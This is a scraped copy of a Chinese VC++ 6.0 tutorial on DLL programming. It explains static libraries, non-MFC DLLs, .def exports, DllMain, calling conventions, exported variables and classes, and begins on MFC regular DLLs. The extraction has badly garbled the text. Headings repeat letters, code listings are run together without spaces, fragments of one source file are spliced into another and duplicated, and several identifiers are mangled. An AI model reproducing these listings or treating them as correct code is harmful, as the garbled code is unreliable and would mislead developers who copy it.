VC++动态链接库(DLL)编程

来源:互联网 发布:linux grep 模糊 编辑:程序博客网 时间:2024/04/30 17:32

VC++动态链接库(DLL)编程


作者:宋宝华
e-mail:21cnbao@21cn.com


1.概论
先来阐述一下
DLL(Dynamic Linkable Library)的概念,你可以简单的把DLL看成一种仓
库,它提供给你一些可以直接拿来用的变量、函数或类。在仓库的发展史上经历了“无库
-静态链接库-动态链接库”的时代。静态链接库与动态链接库都是共享代码的方式,如
果采用静态链接库,则无论你愿不愿意,lib中的指令都被直接包含在最终生成的EXE文件
中了。但是若使用DLL,该DLL不必被包含在最终EXE文件中,EXE文件执行时可以“动
态”地引用和卸载这个与EXE独立的
DLL文件。静态链接库和动态链接库的另外一个区
别在于静态链接库中不能再包含其他的动态链接库或者静态库,而在动态链接库中还可以
再包含其他的动态或静态链接库。

对动态链接库,我们还需建立如下概念:

(1)DLL的编制与具体的编程语言及编译器无关
只要遵循约定的
DLL接口规范和调用方式,用各种语言编写的
DLL都可以相互调用。
譬如
Windows提供的系统
DLL(其中包括了
Windows的
API),在任何开发环境中都能被
调用,不在乎其是
Visual
Basic、Visual
C++还是
Delphi。

(2)动态链接库随处可见
我们在
Windows目录下的
system32文件夹中会看到
kernel32.dll、user32.dll和
gdi32.dll,
windows的大多数
API都包含在这些
DLL中。kernel32.dll中的函数主要处理内存管理和进
程调度;user32.dll中的函数主要控制用户界面;gdi32.dll中的函数则负责图形方面的操作。

一般的程序员都用过类似
MessageBox的函数,其实它就包含在
user32.dll这个动态链接
库中。由此可见
DLL对我们来说其实并不陌生。


(3)VC动态链接库的分类
Visual
C++支持三种
DLL,它们分别是
Non-MFCDLL(非
MFC动态库)、MFCRegular
DLL(MFC规则
DLL)、
MFC
Extension
DLL(MFC扩展
DLL)。

MFC动态库不采用
MFC类库结构,其导出函数为标准的
C接口,能被非
MFC或


MFC编写的应用程序所调用;MFC规编写的应用程序所调用;MFC规则
DLL包含一个继承自
CWinApp的类,但其无消息
循环;MFC扩展
DLL采用
MFC的动态链接版本创建,它只能被用
MFC类库所编写的应
用程序所调用。

由于本文篇幅较长,内容较多,势必需要先对阅读本文的有关事项进行说明,下面以问

答形式给出。
问:本文主要讲解什么内容?
答:本文详细介绍了
DLL编程的方方面面,努力学完本文应可以对
DLL有较全面的掌

握,并能编写大多数
DLL程序。
问:如何看本文?
答:本文每一个主题的讲解都附带了源代码例程,可以随文下载(每个工程都经


WINRAR压缩)。所有这些例程都由笔者编写并在
VC++6.0中调试通过。
当然看懂本文不是读者的最终目的,读者应亲自动手实践才能真正掌握
DLL的奥妙。
问:学习本文需要什么样的基础知识?
答:如果你掌握了
C,并大致掌握了
C++,了解一点
MFC的知识,就可以轻松地看懂

本文。


2
2222.
...静态链接库
对静态链接库的讲解不是本文的重点,但是在具体讲解
DLL之前,通过一个静态链接
库的例子可以快速地帮助我们建立“库”的概念。


图1
111建立一个静态链接库
如图1,在
VC++6.0中
new一个名称为
libTest的
static
library工程(单击此处下载本工
程),并新建
lib.h和
lib.cpp两个文件,lib.h和
lib.cpp的源代码如下:


//文件:lib.h#ifndefLIB_H#defineLIB_Hextern"C"intadd(intx,inty);//声明为C编译、连接方式的外部函数
#endif

#include<stdio.h>
#include"../lib.h"
#pragmaintmain(intargc,char*argv[])
{
printf("2+3=%d",add(2,3));
}
<stdio.h>
#include"../lib.h"
#pragmaintmain(intargc,char*argv[])
{
printf("2+3=%d",add(2,3));
}
//文件:lib.cpp#include"lib.h"
intadd(intx,inty)
{
returnx+y;
}
编译这个工程就得到了一个.lib文件,这个文件就是一个函数库,它提供了
add的功能。
将头文件和.lib文件提交给用户后,用户就可以直接使用其中的
add函数了。

标准
Turbo
C2.0中的
C库函数(我们用来的
scanf、printf、memcpy、strcpy等)就来自
这种静态库。

下面来看看怎么使用这个库,在
libTest工程所在的工作区内
new一个
libCall工程。
libCall工程仅包含一个
main.cpp文件,它演示了静态链接库的调用方法,其源代码如下:


comment(lib,"..//debug//libTest.lib")//指定与静态库一起连接
静态链接库的调用就是这么简单,或许我们每天都在用,可是我们没有明白这个概念。
代码中#pragma
comment(
lib
,
"..//debug//libTest.lib"
)的意思是指本文件生成的.obj文件应与
libTest.lib一起连接。如果不用#pragma
comment指定,则可以直接在
VC++中设置,如图2,
依次选择
tools、options、directories、library
files菜单或选项,填入库文件路径。图2中加红
圈的部分为我们添加的
libTest.lib文件的路径。


图2
2222在
V
VVVVC
CCCC中设置库文件路径
这个静态链接库的例子至少让我们明白了库函数是怎么回事,它们是哪来的。我们现在
有下列模糊认识了:

(1)库不是个怪物,编写库的程序和编写一般的程序区别不大,只是库不能单独执行;

(2)库提供一些可以给别的程序调用的东东,别的程序要调用它必须以某种方式指明
它要调用之。
2)库提供一些可以给别的程序调用的东东,别的程序要调用它必须以某种方式指明
它要调用之。
以上从静态链接库分析而得到的对库的懵懂概念可以直接引申到动态链接库中,动态链
接库与静态链接库在编写和调用上的不同体现在库的外部接口定义及调用方式略有差异。


3
3333.
...库的调试与查看
在具体进入各类
DLL的详细阐述之前,有必要对库文件的调试与查看方法进行一下介
绍,因为从下一节开始我们将面对大量的例子工程。

由于库文件不能单独执行,因而在按下
F5(开始
debug模式执行)或
CTRL+F5(运行)
执行时,其弹出如图3所示的对话框,要求用户输入可执行文件的路径来启动库函数的执行。
这个时候我们输入要调用该库的
EXE文件的路径就可以对库进行调试了,其调试技巧与一
般应用工程的调试一样。


图3
333库的调试与“运行”

通常有比上述做法更好的调试途径,那就是将库工程和应用工程(调用库的工程)放置
在同一
VC工作区,只对应用工程进行调试,在应用工程调用库中函数的语句处设置断点,
执行后按下
F11,这样就单步进入了库中的函数。第2节中的
libTest和
libCall工程就放在了
同一工作区,其工程结构如图4所示。


图4
4444把库工程和调用库的工程放入同一工作区进行调试
上述调试方法对静态链接库和动态链接库而言是一致的。所以本文提供下载的所有源代


码中都包含了库工程和调用库的工程,这二者都被包含在一个工作区内,这是笔者提供这
种打包下载的用意所在。种打包下载的用意所在。

动态链接库中的导出接口可以使用
Visual
C++的
Depends工具进行查看,让我们用
Depends打开系统目录中的
user32.dll,看到了吧?红圈内的就是几个版本的
MessageBox
了!原来它真的在这里啊,原来它就在这里啊!


图5
5555用
D
DDDDe
eeeep
ppppe
eeeen
nnnnd
dddds
ssss查看
D
DDDDL
LLLLL
LLLL

当然
Depends工具也可以显示
DLL的层次结构,若用它打开一个可执行文件则可以看
出这个可执行文件调用了哪些
DLL。
好,让我们正式进入动态链接库的世界,先来看看最一般的
DLL,即非
MFC
DLL。


V
VVVVC
CCCC+
+++++
++++动态链接库(
((((D
DDDDL
LLLLL
LLLL)
))))编程(二)--非
M
MMMMF
FFFFC
CCCD
DDDDL
LLLLL
LLLL

2005-10-20
23:52:00
标签:VC++编程
DLL
[推送到技术圈]


版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处、作者信息和本
声明。否则将追究法律责任。
http://21cnbao.blog.51cto.com/109393/120774



4
4444.
....非
M
MMMMF
FFFFC
CCCCD
DDDDL
LLLLL
LLLL
4
4444.
....1
1111一个简单的
D
DDDDL
LLLLL
LLLL
第2节给出了以静态链接库方式提供
add函数接口的方法,接下来我们来看看怎样用动态链接库实现一
个同样功能的
add函数。

如图6,在
VC++中
new一个
Win32
Dynamic-Link
Library工程
dllTest(单击此处下载本工程附
件)。注意不要选择
MFC
AppWizard(dll),因为用
MFC
AppWizard(dll)建立的将是第
5、6节要讲述的
MFC
动态链接库。


图6建立一个非
MFC
DLL
在建立的工程中添加
lib.h及
lib.cpp文件,源代码如下:
/*文件名:
lib.h
*/
#ifndef
LIB_H
#define
LIB_H
extern
"C"
int
__declspec(dllexport)add(int
x,
int
y);
#endif


/*文件名:
lib.cpp
*/


#include
"lib.h"



int
add(int
x,
int
y)
{
return
x
+
y;
}


与第2节对静态链接库的调用相似,我们也建立一个与
DLL工程处于同一工作区的应用工程
dllCall,它调用
DLL中的函数
add,其源代码如下:
#include
<stdio.h>


#include
<windows.h>
typedef
int(*lpAddFun)(int,
int);
//宏定义函数指针类型
int
main(int
argc,
char
*argv[])
{
HINSTANCE
hDll;
//DLL句柄
lpAddFun
addFun;
//函数指针
hDll
=
LoadLibrary("..//Debug//dllTest.dll");
if
(hDll
!=
NULL)
{
addFun
=
(lpAddFun)GetProcAddress(hDll,
"add");
if
(addFun
!=
NULL)
{
int
result
=
addFun(2,
3);
printf("%d",
result);
}
FreeLibrary(hDll);
}



return
0;


}

分析上述代码,dllTest工程中的
lib.cpp文件与第
2节静态链接库版本完全相同,不同在于
lib.h对函数
add的声明前面添加了
__declspec(dllexport)语句。这个语句的含义是声明函数
add为
DLL的导出函数。
DLL内的函数分为两种:


(1)DLL导出函数,可供应用程序调用;
(2)
DLL内部函数,只能在
DLL程序使用,应用程序无法调用它们。
而应用程序对本
DLL的调用和对第
2节静态链接库的调用却有较大差异,下面我们来逐一分析。

首先,语句
typedef
int
(
*
lpAddFun)(int,int)定义了一个与
add函数接受参数类型和返回值均相同
的函数指针类型。随后,在
main函数中定义了
lpAddFun的实例
addFun;

其次,在函数
main中定义了一个
DLL
HINSTANCE句柄实例
hDll,通过
Win32
Api函数
LoadLibrary
动态加载了
DLL模块并将
DLL模块句柄赋给了
hDll;

再次,在函数
main中通过
Win32
Api函数
GetProcAddress得到了所加载
DLL模块中函数
add的
地址并赋给了
addFun。经由函数指针
addFun进行了对
DLL中
add函数的调用;

最后,应用工程使用完
DLL后,在函数
main中通过
Win32
Api函数
FreeLibrary释放了已经加载的
DLL模块。

通过这个简单的例子,我们获知
DLL定义和调用的一般概念:


(1)DLL中需以某种特定的方式声明导出函数(或变量、类);
(2)应用工程需以某种特定的方式调用
DLL的导出函数(或变量、类)。
下面我们来对
“特定的方式进行
”阐述。


4
4444.
....2
2222声明导出函数
DLL中导出函数的声明有两种方式:一种为
4.1节例子中给出的在函数声明中加上
__declspec(dllexport),这里不再举例说明;另外一种方式是采用模块定义
(.def)文件声明,.def文件为
链接器提供了有关被链接程序的导出、属性及其他方面的信息。

下面的代码演示了怎样同.def文件将函数
add声明为
DLL导出函数(需在
dllTest工程中添加
lib.def
文件):
;
lib.def
:导出
DLL函数


LIBRARY
dllTest



EXPORTS


add
@
1


.def文件的规则为:


(1)LIBRARY语句说明
.def文件相应的
DLL;
(2)EXPORTS语句后列出要导出函数的名称。可以在
.def文件中的导出函数名后加
@n,表示要导出函
数的序号为
n(在进行函数调用时,这个序号将发挥其作用);
(3).def文件中的注释由每个注释行开始处的分号
(;)指定,且注释不能与语句共享一行。
由此可以看出,例子中
lib.def文件的含义为生成名为
“dllTest”的动态链接库,导出其中的
add函数,
并指定
add函数的序号为
1。


4
4444.
....3
3333D
DDDDL
LLLLL
LLLL的调用方式
在4.1节的例子中我们看到了由“LoadLibrary-GetProcAddress-FreeLibrary”系统
Api提供的三位一
体“DLL加载-DLL函数地址获取
-DLL释放”方式,这种调用方式称为
DLL的动态调用。

动态调用方式的特点是完全由编程者用
API函数加载和卸载
DLL,程序员可以决定
DLL文件何时加
载或不加载,显式链接在运行时决定加载哪个
DLL文件。

与动态调用方式相对应的就是静态调用方式,“有动必有静
”,这来源于物质世界的对立统一。“动与静”,
其对立与统一竟无数次在技术领域里得到验证,譬如静态
IP与
DHCP、静态路由与动态路由等。从前文我
们已经知道,库也分为静态库与动态库
DLL,而想不到,深入到
DLL内部,其调用方式也分为静态与动态。
“动与静”,无处不在。《周易》已认识到有动必有静的动静平衡观,《易.系辞》曰:“动静有常,刚柔断矣
”。
哲学意味着一种普遍的真理,因此,我们经常可以在枯燥的技术领域看到哲学的影子。

静态调用方式的特点是由编译系统完成对
DLL的加载和应用程序结束时
DLL的卸载。当调用某
DLL
的应用程序结束时,若系统中还有其它程序使用该
DLL,则
Windows对
DLL的应用记录减
1,直到所有使
用该
DLL的程序都结束时才释放它。静态调用方式简单实用,但不如动态调用方式灵活。

下面我们来看看静态调用的例子(单击此处下载本工程附件),将编译
dllTest工程所生成的
.lib和.dll
文件拷入
dllCall工程所在的路径,
dllCall执行下列代码:
#pragma
comment(lib,"dllTest.lib")


//.lib文件中仅仅是关于其对应
DLL文件中函数的重定位信息


extern
"C"
__declspec(dllimport)
add(int
x,int
y);


int
main(int
argc,
char*
argv[])


{



int
result
=
add(2,3);


printf("%d",result);


return
0;


}

由上述代码可以看出,静态调用方式的顺利进行需要完成两个动作:


(1)告诉编译器与
DLL相对应的.lib文件所在的路径及文件名,#pragma
comment(lib,"dllTest.lib")
就是起这个作用。
程序员在建立一个
DLL文件时,连接器会自动为其生成一个对应的
.lib文件,该文件包含了
DLL导出
函数的符号名及序号(并不含有实际的代码)。在应用程序里,
.lib文件将作为
DLL的替代文件参与编译。


(2)声明导入函数,
extern
"C"
__declspec(dllimport)
add(int
x,int
y)语句中的
__declspec(dllimport)发挥这个作用。
静态调用方式不再需要使用系统
API来加载、卸载
DLL以及获取
DLL中导出函数的地址。这是因为,
当程序员通过静态链接方式编译生成应用程序时,应用程序中调用的与
.lib文件中导出符号相匹配的函数符
号将进入到生成的
EXE文件中,.lib文件中所包含的与之对应的
DLL文件的文件名也被编译器存储在
EXE
文件内部。当应用程序运行过程中需要加载
DLL文件时,Windows将根据这些信息发现并加载
DLL,然后
通过符号名实现对
DLL函数的动态链接。这样,EXE将能直接通过函数名调用
DLL的输出函数,就象调用
程序内部的其他函数一样。


4
4444.
....4
4444D
DDDDl
lllll
llllM
MMMMa
aaaai
iiiin
nnnn函数
Windows在加载
DLL的时候,需要一个入口函数,就如同控制台或
DOS程序需要
main函数、WIN32
程序需要
WinMain函数一样。在前面的例子中,DLL并没有提供
DllMain函数,应用工程也能成功引用
DLL,
这是因为
Windows在找不到
DllMain的时候,系统会从其它运行库中引入一个不做任何操作的缺省
DllMain
函数版本,并不意味着
DLL可以放弃
DllMain函数。

根据编写规范,
Windows必须查找并执行
DLL里的
DllMain函数作为加载
DLL的依据,它使得
DLL
得以保留在内存里。这个函数并不属于导出函数,而是
DLL的内部函数。这意味着不能直接在应用工程中引

DllMain函数,DllMain是自动被调用的。

我们来看一个
DllMain函数的例子(单击此处下载本工程附件)。
BOOL
APIENTRY
DllMain(
HANDLE
hModule,


DWORD
ul_reason_for_call,


LPVOID
lpReserved


)



{
switch
(ul_reason_for_call)
{
case
DLL_PROCESS_ATTACH:
printf("/nprocess
attach
of
dll");
break;
case
DLL_THREAD_ATTACH:
printf("/nthread
attach
of
dll");
break;
case
DLL_THREAD_DETACH:
printf("/nthread
detach
of
dll");
break;
case
DLL_PROCESS_DETACH:
printf("/nprocess
detach
of
dll");
break;
}
return
TRUE;
}


DllMain函数在
DLL被加载和卸载时被调用,在单个线程启动和终止时,
DLLMain函数也被调用,
ul_reason_f
or_call指明了被调用的原因。原因共有
4种,即
PROCESS_ATTACH、PROCESS_DETACH
THREAD_ATTACH和
THREAD_DETACH,以
switch语句列出。
来仔细解读一下
DllMain的函数头
BOOL
APIENTRY
DllMain(
HANDLE
hModule,
WORD
ul_reason_f
or_call,
LPVOID
lpReserved
)。


APIENTRY被定义为__stdcall,它意味着这个函数以标准
Pascal的方式进行调用,也就是
WINAPI



方式;

进程中的每个
DLL模块被全局唯一的
32字节的
HINSTANCE句柄标识,只有在特定的进程内部有效,
句柄代表了
DLL模块在进程虚拟空间中的起始地址。在
Win32中,HINSTANCE和
HMODULE的值是相
同的,这两种类型可以替换使用,这就是函数参数
hModule的来历。

执行下列代码:


hDll
=
LoadLibrary("..//Debug//dllTest.dll");
if
(hDll
!=
NULL)
{
addFun
=
(lpAddFun)GetProcAddress(hDll,
MAKEINTRESOURCE(1));
//MAKEINTRESOURCE直接使用导出文件中的序号
if
(addFun
!=
NULL)
{
int
result
=
addFun(2,
3);
printf("/ncall
add
in
dll:%d",
result);
}
FreeLibrary(hDll);
}


我们看到输出顺序为:


process
attach
of
dll
call
add
in
dll:5
process
detach
of
dll
这一输出顺序验证了
DllMain被调用的时机。


代码中的
GetProcAddress
(
hDll,
MAKEINTRESOURCE
(
1
)
)值得留意,它直接通过
.def文件中

add函数指定的顺序号访问
add函数,具体体现在
MAKEINTRESOURCE
(
1
),MAKEINTRESOURCE



是一个通过序号获取函数名的宏,定义为(节选自
winuser.h):
#define
MAKEINTRESOURCEA(i)
(LPSTR)((DWORD)((WORD)(i)))


#define
MAKEINTRESOURCEW(i)
(LPWSTR)((DWORD)((WORD)(i)))


#ifdef
UNICODE


#define
MAKEINTRESOURCE
MAKEINTRESOURCEW


#else


#define
MAKEINTRESOURCE
MAKEINTRESOURCEA


4
4444.
....5
5555_
_____
____s
sssst
ttttd
ddddc
cccca
aaaal
lllll
llll约定
如果通过
VC++编写的
DLL欲被其他语言编写的程序调用,应将函数的调用方式声明为
__stdcall方式,
WINAPI都采用这种方式,而
C/C++缺省的调用方式却为
__cdecl。__stdcall方式与__cdecl对函数名
最终生成符号的方式不同。若采用
C编译方式(在
C++中需将函数声明为
extern
"C"),__stdcall调用约
定在输出函数名前面加下划线,后面加
“@”符号和参数的字节数,形如
_functionname@number;而
__cdecl调用约定仅在输出函数名前面加下划线,形如
_functionname。


Windows编程中常见的几种函数类型声明宏都是与
__stdcall和__cdecl有关的(节选自
windef.h):
#define
CALLBACK
__stdcall
//这就是传说中的回调函数


#define
WINAPI
__stdcall
//这就是传说中的
WINAPI


#define
WINAPIV
__cdecl


#define
APIENTRY
WINAPI
//DllMain的入口就在这里


#define
APIPRIVATE
__stdcall


#define
PASCAL
__stdcall


lib.h中,应这样声明
add函数:
int
__stdcall
add(int
x,
int
y);

在应用工程中函数指针类型应定义为:


typedef
int(__stdcall
*lpAddFun)(int,
int);

若在
lib.h中将函数声明为
__stdcall调用,而应用工程中仍使用
typedef
int
(*
lpAddFun)(int,int),
运行时将发生错误(因为类型不匹配,在应用工程中仍然是缺省的
__cdecl调用),弹出如图7所示的对话框。


图7调用约定不匹配时的运行错误
图8中的那段话实际上已经给出了错误的原因,即
“This
is
usually
a
result
of
…”。


单击此处下载
__stdcall调用例子工程源代码附件。


4
4444.
....6
6666D
DDDDL
LLLLL
LLLL导出变量
DLL定义的全局变量可以被调用进程访问;DLL也可以访问调用进程的全局数据,我们来看看在应用工
程中引用
DLL中变量的例子(单击此处下载本工程附件)。
/*文件名:
lib.h
*/


#ifndef
LIB_H


#define
LIB_H


extern
int
dllGlobalVar;


#endif


/*文件名:
lib.cpp
*/


#include
"lib.h"


#include
<windows.h>


int
dllGlobalVar;


BOOL
APIENTRY
DllMain(HANDLE
hModule,
DWORD
ul_reason_for_call,
LPVOID
lpReserved)


{


switch
(ul_reason_for_call)



{


case
DLL_PROCESS_ATTACH:


dllGlobalVar
=
100;
//在
dll被加载时,赋全局变量为
100
break;
case
DLL_THREAD_ATTACH:
case
DLL_THREAD_DETACH:
case
DLL_PROCESS_DETACH:
break;
}
return
TRUE;
}


;文件名:lib.def
;在
DLL中导出变量
LIBRARY
"dllTest"
EXPORTS
dllGlobalVar
CONSTANT
;或
dllGlobalVar
DATA
GetGlobalVar



lib.h和
lib.cpp中可以看出,全局变量在
DLL中的定义和使用方法与一般的程序设计是一样的。若
要导出某全局变量,我们需要在
.def文件的
EXPORTS后添加:
变量名
CONSTANT
//过时的方法


变量名
DATA
//VC++提示的新方法


在主函数中引用
DLL中定义的全局变量:
#include
<stdio.h>


#pragma
comment(lib,"dllTest.lib")


extern
int
dllGlobalVar;
int
main(int
argc,
char
*argv[])
{
printf("%d
",
*(int*)dllGlobalVar);
*(int*)dllGlobalVar
=
1;
printf("%d
",
*(int*)dllGlobalVar);


return
0;
}
特别要注意的是用
extern
int
dllGlobalVar声明所导入的并不是
DLL中全局变量本身,而是其地址,
应用程序必须通过强制指针转换来使用
DLL中的全局变量。这一点,从*
(int*)dllGlobalVar可以看出。因
此在采用这种方式引用
DLL全局变量时,千万不要进行这样的赋值操作:


dllGlobalVar
=
1;
其结果是
dllGlobalVar指针的内容发生变化,程序中以后再也引用不到
DLL中的全局变量了。
在应用工程中引用
DLL中全局变量的一个更好方法是:


#include
<stdio.h>
#pragma
comment(lib,"dllTest.lib")
extern
int
_declspec(dllimport)
dllGlobalVar;
//用_declspec(dllimport)导入
int
main(int
argc,
char
*argv[])
{
printf("%d
",
dllGlobalVar);


dllGlobalVar
=
1;
//这里就可以直接使用
,无须进行强制指针转换


printf("%d
",
dllGlobalVar);
return
0;
}


通过_declspec(dllimport)方式导入的就是
DLL中全局变量本身而不再是其地址了,笔者建议在一切
可能的情况下都使用这种方式。


4
4444.
....7
7777D
DDDDL
LLLLL
LLLL导出类
DLL中定义的类可以在应用工程中使用。
下面的例子里,我们在
DLL中定义了
point和
circle两个类,并在应用工程中引用了它们(单击此处下
载本工程附件)。
//文件名:point.h,point类的声明


#ifndef
POINT_H
#define
POINT_H
#ifdef
DLL_FILE
class
_declspec(dllexport)
point
//导出类
point
#else
class
_declspec(dllimport)
point
//导入类
point
#endif
{
public:
float
y;
float
x;
point();
point(float
x_coordinate,
float
y_coordinate);
};
#endif



//文件名:point.cpp,point类的实文件名:point.cpp,point类的实现
#ifndef
DLL_FILE
#define
DLL_FILE
#endif
#include
"point.h"
//类
point的缺省构造函数
point::point()
{
x
=
0.0;
y
=
0.0;
}
//类
point的构造函数
point::point(float
x_coordinate,
float
y_coordinate)
{
x
=
x_coordinate;
y
=
y_coordinate;
}


//文件名:circle.h,circle类的声明
#ifndef
CIRCLE_H
#define
CIRCLE_H
#include
"point.h"



#ifdef
DLL_FILE
class
_declspec(dllexport)circle
//导出类
circle
#else
class
_declspec(dllimport)circle
//导入类
circle
#endif
{
public:
void
SetCentre(const
point
¢rePoint);
void
SetRadius(float
r);
float
GetGirth();
float
GetArea();
circle();
private:
float
radius;
point
centre;
};
#endif


//文件名:circle.cpp,circle类的实现
#ifndef
DLL_FILE
#define
DLL_FILE
#endif



#include
"circle.h"
#define
PI
3.1415926
//circle类的构造函数
circle::circle()
{
centre
=
point(0,
0);
radius
=
0;
}
//得到圆的面积
float
circle::GetArea()
{
return
PI
*radius
*
radius;
}
//得到圆的周长
float
circle::GetGirth()
{
return
2
*PI
*
radius;
}
//设置圆心坐标
void
circle::SetCentre(const
point
¢rePoint)
{
centre
=
centrePoint;



}


//设置圆的半径


void
circle::SetRadius(float
r)
{
radius
=
r;
}


类的引用:


#include
"../circle.h"
//包含类声明头文件


#pragma
comment(lib,"dllTest.lib");


int
main(int
argc,
char
*argv[])
{
circle
c;
point
p(2.0,
2.0);
c.SetCentre(p);
c.SetRadius(1.0);
printf("area:%f
girth:%f
",
c.GetArea(),
c.GetGirth());


return
0;


}
从上述源代码可以看出,由于在
DLL的类实现代码中定义了宏
DLL_FILE,故在
DLL的实现中所包含

的类声明实际上为:
class
_declspec(dllexport)
point
//导出类
point
{




}


class
_declspec(dllexport)
circle
//导出类
circle


{



}

而在应用工程中没有定义
DLL_FILE,故其包含
point.h和
circle.h后引入的类声明为:


class
_declspec(dllimport)
point
//导入类
point


{



}


class
_declspec(dllimport)
circle
//导入类
circle


{



}
不错,正是通过
DLL中的
class
_declspec(dllexport)
class_name
//导出类
circle


{



}

与应用程序中的
class
_declspec(dllimport)
class_name
//导入类


{




}

匹对来完成类的导出和导入的!

我们往往通过在类的声明头文件中用一个宏来决定使其编译为
class
_declspec(dllexport)
class_name还是
class
_declspec(dllimport)
class_name版本,这样就不再需要两个头文件。本程序
中使用的是:
#ifdef
DLL_FILE


class
_declspec(dllexport)
class_name
//导出类


#else


class
_declspec(dllimport)
class_name
//导入类


#endif

实际上,在
MFC
DLL的讲解中,您将看到比这更简便的方法,而此处仅仅是为了说明
_declspec(dllexport)与_declspec(dllimport)匹对的问题。

由此可见,应用工程中几乎可以看到
DLL中的一切,包括函数、变量以及类,这就是
DLL所要提供的
强大能力。只要
DLL释放这些接口,应用程序使用它就将如同使用本工程中的程序一样!

本章虽以
VC++为平台讲解非
MFC
DLL,但是这些普遍的概念在其它语言及开发环境中也是相同的,
其思维方式可以直接过渡。


V
VVVVC
CCCC+
+++++
+++动态链接库(
((((D
DDDDL
LLLLL
LLLL)
))))编程(三)――
――――――――M
MMMMF
FFFFC
CCCC规则
D
DDDDL
LLLLL
LLLL

2005-10-21
12:51:00
标签:VC++编程
DLL
[推送到技术圈]


版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处、作者信息和本
声明。否则将追究法律责任。
http://21cnbao.blog.51cto.com/109393/120817


V
VVVVC
CCCC+
+++++
+++动态链接库(
((((D
DDDDL
LLLLL
LLLL)
))))编程(三)
――M
MMMMF
FFFFC
CCCC规则
D
DDDDL
LLLLL
LLLL


作者:
作者:作者:作者:作者:宋宝华
e-mail:
e-mail:e-mail:e-mail:21cnbao@21cn.com

第4节我们对非
MFC
DLL进行了介绍,这一节将详细地讲述
MFC规则
DLL的创建与
使用技巧。

另外,自从本文开始连载后,收到了一些读者的
e-mail。有的读者提出了一些问题,
笔者将在本文的最后一次连载中选取其中的典型问题进行解答。由于时间的关系,对于读
者朋友的来信,笔者暂时不能一一回复,还望海涵!由于笔者的水平有限,文中难免有错
误和纰漏,也热诚欢迎读者朋友不吝指正!


5
5555.
...M
MMMMF
FFFFC
CCCC规则
D
DDDDL
LLLLL
LLLL
5.5.5.5.1111概述
MFC规则
DLL的概念体现在两方面:
(1)它是
MFC的
“是
MFC的”意味着可以在这种
DLL的内部使用
MFC;
(2)它是规则的
“是规则的”意味着它不同于
MFC扩展
DLL,在
MFC规则
DLL的内部虽然可以使

MFC,但是其与应用程序的接口不能是
MFC。而
MFC扩展
DLL与应用程序的接口可
以是
MFC,可以从
MFC扩展
DLL中导出一个
MFC类的派生类。


Regular
DLL能够被所有支持
DLL技术的语言所编写的应用程序调用,当然也包括使

MFC的应用程序。在这种动态连接库中,包含一个从
CWinApp继承下来的类,DllMain
函数则由
MFC自动提供。


Regular
DLL分为两类:

(1)静态链接到
MFC的规则
DLL
静态链接到
MFC的规则
DLL与
MFC库(包括
MFC扩展
DLL)静态链接,将
MFC
库的代码直接生成在.dll文件中。在调用这种
DLL的接口时,MFC使用
DLL的资源。因
此,在静态链接到
MFC的规则
DLL中不需要进行模块状态的切换。

使用这种方法生成的规则
DLL其程序较大,也可能包含重复的代码。

(2)动态链接到
MFC的规则
DLL
动态链接到
MFC的规则
DLL可以和使用它的可执行文件同时动态链接到
MFC
DLL
和任何
MFC扩展
DLL。在使用了
MFC共享库的时候,默认情况下,MFC使用主应用程
序的资源句柄来加载资源模板。这样,当
DLL和应用程序中存在相同
ID的资源时(即所
谓的资源重复问题),系统可能不能获得正确的资源。因此,对于共享
MFC
DLL的规则
DLL,
我们必须进行模块切换以使得
MFC能够找到正确的资源模板。

我们可以在
VisualC++中设置
MFC规则
DLL是静态链接到
MFC
DLL还是动态链接到
MFC
DLL。如图8,依次选择
VisualC++的
project
->
Settings
->
General菜单或选项,在
Microsoft
Foundation
Classes中进行设置。


图8
8888设置动态/
////静态链接
M
MMMMF
FFFFC
CCCD
DDDDL
LLLLL
LLLL

5.5.5.5.2222
M
MMMMF
FFFFC
CCCC规则
D
DDDDL
LLLLL
LLLL的创建
我们来一步步讲述使用
MFC向导创建
MFC规则
DLL的过程,首先新建一个
project,
如图9,选择
project的类型为
MFCAppWizard(dll)。点击
OK进入如图10所示的对话框。


图9
999M
MMMMF
FFFFC
CCCD
DDDDL
LLLLL
LLLL工程的创建

图10所示对话框中的1区选择
MFC
DLL的类别。


2区选择是否支持
automation(自动化)技术,automation允许用户在一个应用程序中
操纵另外一个应用程序或组件。例如,我们可以在应用程序中利用
Microsoft
Word或
Microsoft
Excel的工具,而这种使用对用户而言是透明的。自动化技术可以大大简化和加
快应用程序的开发。


3区选择是否支持
Windows
Sockets,当选择此项目时,应用程序能在
TCP/IP网络上进
行通信。CWinApp派生类的
InitInstance成员函数会初始化通讯端的支持,同时工程中的
StdAfx.h文件会自动
include
<AfxSock.h>头文件。

添加
socket通讯支持后的
InitInstance成员函数如下:


BOOCRegularDllSocketApp::InitInstance()CRegularDllSocketApp::InitInstance()
{


if


(!AfxSocketInit())
{
AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
return
FALSE;


}


returnTRUE;
}
4区选择是否由
MFC向导自动在源代码中添加注释,一般我们选择“Yes,please”。


图10
101010M
MMMMF
FFFFC
CCCD
DDDDL
LLLLL
LLLL的创建选项


5.5.5.5.3333一个简单的
M
MMMMF
FFFFC
CCCC规则
D
DDDDL
LLLLL
LLLL
这个
DLL的例子(属于静态链接到
MFC的规则
DLL)中提供了一个如图11所示的
对话框。


图11
11111111M
MMMMF
FFFFC
CCCC规则
D
DDDDL
LLLLL
LLLL例子

DLL中添加对话框的方式与在
MFC应用程序中是一样的。


filefortheREGULARDLLDLLfortheREGULARDLLDLL
在图11所示
DLL中的对话框的
Hello按钮上点击时将
MessageBox一个
“Hello,pconline的网友”对话框,下面是相关的文件及源代码,其中删除了
MFC向导自
动生成的绝大多数注释(下载本工程):

第一组文件:C
CCCCWi
WiWiWiWin
nnnnA
AAAAp
ppppp
pppp继承类的声明与实现


//RegularDll.h:mainheader#if
!defined(AFX_REGULARDLL_H__3E9CB22B_588B_4388_B778_B3416ADB79B3__INCLUDED_)
#defineAFX_REGULARDLL_H__3E9CB22B_588B_4388_B778_B3416ADB79B3__INCLUDED_
#if_MSC_VER>1000#pragmaonce#endif//_MSC_VER>1000#ifndef__AFXWIN_H__
#errorinclude'stdafx.h'beforeincludingthisfileforPCH#endif#include"resource.h"//mainsymbolsclassCRegularDllApp:publicCWinApp{
public:
CRegularDllApp();
DECLARE_MESSAGE_MAP()
};
#endif//RegularDll.cpp:DefinestheinitializationroutinesfortheDLL.
#include"stdafx.h"
#include"RegularDll.h"
